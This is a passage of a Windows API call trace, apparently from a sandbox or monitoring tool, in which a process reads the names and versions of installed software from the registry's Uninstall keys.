[0146.122] GetLastError () returned 0x12 [0146.122] SetLastError (dwErrCode=0x12) [0146.122] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="14.25.28508.3", lpcbData=0x19eb90*=0xe) returned 0x0 [0146.122] GetLastError () returned 0x12 [0146.122] SetLastError (dwErrCode=0x12) [0146.122] GetLastError () returned 0x12 [0146.122] SetLastError (dwErrCode=0x12) [0146.122] GetLastError () returned 0x12 [0146.122] SetLastError (dwErrCode=0x12) [0146.122] GetLastError () returned 0x12 [0146.122] SetLastError (dwErrCode=0x12) [0146.122] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.122] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x1b, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.122] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}") returned 90 [0146.122] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.123] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2005 Redistributable", lpcbData=0x19eb90*=0x2a) returned 0x0 [0146.123] GetLastError () returned 0x12 [0146.123] SetLastError (dwErrCode=0x12) [0146.123] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="8.0.61001", lpcbData=0x19eb90*=0xa) returned 0x0 [0146.123] GetLastError () returned 0x12 [0146.123] SetLastError (dwErrCode=0x12) [0146.123] GetLastError () returned 0x12 [0146.123] SetLastError (dwErrCode=0x12) [0146.123] GetLastError () returned 0x12 [0146.123] SetLastError (dwErrCode=0x12) [0146.123] GetLastError () returned 0x12 [0146.124] SetLastError (dwErrCode=0x12) [0146.124] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.124] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x1c, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-008C-0000-0000-0000000FF1CE}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.124] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0000-0000-0000000FF1CE}") returned 90 [0146.124] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0000-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.124] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Office 16 Click-to-Run Extensibility Component", lpcbData=0x19eb90*=0x2f) returned 0x0 [0146.124] GetLastError () returned 0x12 [0146.124] SetLastError (dwErrCode=0x12) [0146.124] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="16.0.4266.1003", lpcbData=0x19eb90*=0xf) returned 0x0 [0146.124] GetLastError () returned 0x12 [0146.125] SetLastError (dwErrCode=0x12) [0146.125] GetLastError () returned 0x12 [0146.125] SetLastError (dwErrCode=0x12) [0146.125] GetLastError () returned 0x12 [0146.125] SetLastError (dwErrCode=0x12) [0146.125] GetLastError () returned 0x12 [0146.125] SetLastError (dwErrCode=0x12) [0146.125] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.125] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x1d, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-008C-0409-0000-0000000FF1CE}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.125] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0409-0000-0000000FF1CE}") returned 90 [0146.128] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.128] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Office 16 Click-to-Run Localization Component", lpcbData=0x19eb90*=0x2e) returned 0x0 [0146.128] GetLastError () returned 0x12 [0146.128] SetLastError (dwErrCode=0x12) [0146.128] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="16.0.4266.1003", lpcbData=0x19eb90*=0xf) returned 0x0 [0146.128] GetLastError () returned 0x12 [0146.128] SetLastError (dwErrCode=0x12) [0146.128] GetLastError () returned 0x12 [0146.128] SetLastError (dwErrCode=0x12) [0146.128] GetLastError () returned 0x12 [0146.129] SetLastError (dwErrCode=0x12) [0146.129] GetLastError () returned 0x12 [0146.129] SetLastError (dwErrCode=0x12) [0146.129] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.129] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x1e, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{9BE518E6-ECC6-35A9-88E4-87755C07200F}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.129] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}") returned 90 [0146.129] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.129] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpcbData=0x19eb90*=0x3f) returned 0x0 [0146.129] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x445) returned 0x2366ec0 [0146.129] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366bd8 | out: hHeap=0x2360000) returned 1 [0146.129] GetLastError () returned 0x12 [0146.129] SetLastError (dwErrCode=0x12) [0146.129] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="9.0.30729.6161", lpcbData=0x19eb90*=0xf) returned 0x0 [0146.130] GetLastError () returned 0x12 [0146.130] SetLastError (dwErrCode=0x12) [0146.130] GetLastError () returned 0x12 [0146.130] SetLastError (dwErrCode=0x12) [0146.130] GetLastError () returned 0x12 [0146.130] SetLastError (dwErrCode=0x12) [0146.130] GetLastError () returned 0x12 [0146.130] SetLastError (dwErrCode=0x12) [0146.130] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.130] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x1f, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{B175520C-86A2-35A7-8619-86DC379688B9}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.130] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}") returned 90 [0146.130] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.130] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpcbData=0x19eb90*=0x3e) returned 0x0 [0146.131] GetLastError () returned 0x12 [0146.131] SetLastError (dwErrCode=0x12) [0146.131] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="11.0.61030", lpcbData=0x19eb90*=0xb) returned 0x0 [0146.131] GetLastError () returned 0x12 [0146.131] SetLastError (dwErrCode=0x12) [0146.131] GetLastError () returned 0x12 [0146.131] SetLastError (dwErrCode=0x12) [0146.131] GetLastError () returned 0x12 [0146.131] SetLastError (dwErrCode=0x12) [0146.131] GetLastError () returned 0x12 [0146.131] SetLastError (dwErrCode=0x12) [0146.131] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.131] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x20, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.131] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}") returned 90 [0146.131] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.132] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpcbData=0x19eb90*=0x3b) returned 0x0 [0146.132] GetLastError () returned 0x12 [0146.132] SetLastError (dwErrCode=0x12) [0146.132] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="11.0.61030", lpcbData=0x19eb90*=0xb) returned 0x0 [0146.132] GetLastError () returned 0x12 [0146.132] SetLastError (dwErrCode=0x12) [0146.132] GetLastError () returned 0x12 [0146.132] SetLastError (dwErrCode=0x12) [0146.132] GetLastError () returned 0x12 [0146.132] SetLastError (dwErrCode=0x12) [0146.132] GetLastError () returned 0x12 [0146.133] SetLastError (dwErrCode=0x12) [0146.133] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.133] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x21, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.133] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 90 [0146.133] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.133] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030", lpcbData=0x19eb90*=0x3d) returned 0x0 [0146.133] GetLastError () returned 0x12 [0146.133] SetLastError (dwErrCode=0x12) [0146.133] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="11.0.61030.0", lpcbData=0x19eb90*=0xd) returned 0x0 [0146.133] GetLastError () returned 0x12 [0146.133] SetLastError (dwErrCode=0x12) [0146.133] GetLastError () returned 0x12 [0146.133] SetLastError (dwErrCode=0x12) [0146.134] GetLastError () returned 0x12 [0146.134] SetLastError (dwErrCode=0x12) [0146.134] GetLastError () returned 0x12 [0146.134] SetLastError (dwErrCode=0x12) [0146.134] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.134] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x22, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.134] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 90 [0146.134] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.134] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpcbData=0x19eb90*=0x3d) returned 0x0 [0146.134] GetLastError () returned 0x12 [0146.134] SetLastError (dwErrCode=0x12) [0146.134] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="12.0.30501.0", lpcbData=0x19eb90*=0xd) returned 0x0 [0146.135] GetLastError () returned 0x12 [0146.135] SetLastError (dwErrCode=0x12) [0146.135] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x667) returned 0x2367310 [0146.135] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366ec0 | out: hHeap=0x2360000) returned 1 [0146.135] GetLastError () returned 0x12 [0146.135] SetLastError (dwErrCode=0x12) [0146.135] GetLastError () returned 0x12 [0146.135] SetLastError (dwErrCode=0x12) [0146.135] GetLastError () returned 0x12 [0146.135] SetLastError (dwErrCode=0x12) [0146.135] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.135] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x23, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.135] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}") returned 90 [0146.135] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.136] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpcbData=0x19eb90*=0x3c) returned 0x0 [0146.136] GetLastError () returned 0x12 [0146.136] SetLastError (dwErrCode=0x12) [0146.136] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="10.0.40219", lpcbData=0x19eb90*=0xb) returned 0x0 [0146.136] GetLastError () returned 0x12 [0146.136] SetLastError (dwErrCode=0x12) [0146.136] GetLastError () returned 0x12 [0146.136] SetLastError (dwErrCode=0x12) [0146.136] GetLastError () returned 0x12 [0146.136] SetLastError (dwErrCode=0x12) [0146.136] GetLastError () returned 0x12 [0146.137] SetLastError (dwErrCode=0x12) [0146.137] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.137] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x24, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.137] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757") returned 100 [0146.137] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.137] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.137] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.137] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x25, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.137] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173") returned 100 [0146.137] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.137] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.137] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.137] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x26, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.137] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860") returned 100 [0146.137] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.137] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.137] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.138] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x27, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.138] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655") returned 100 [0146.138] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.138] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.138] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.138] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x28, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.138] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743") returned 100 [0146.138] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.138] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.138] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.138] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x29, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.138] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063") returned 100 [0146.138] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.138] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.138] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.138] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x2a, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.139] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573") returned 99 [0146.139] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.139] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.139] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.139] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x2b, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.139] wsprintfA 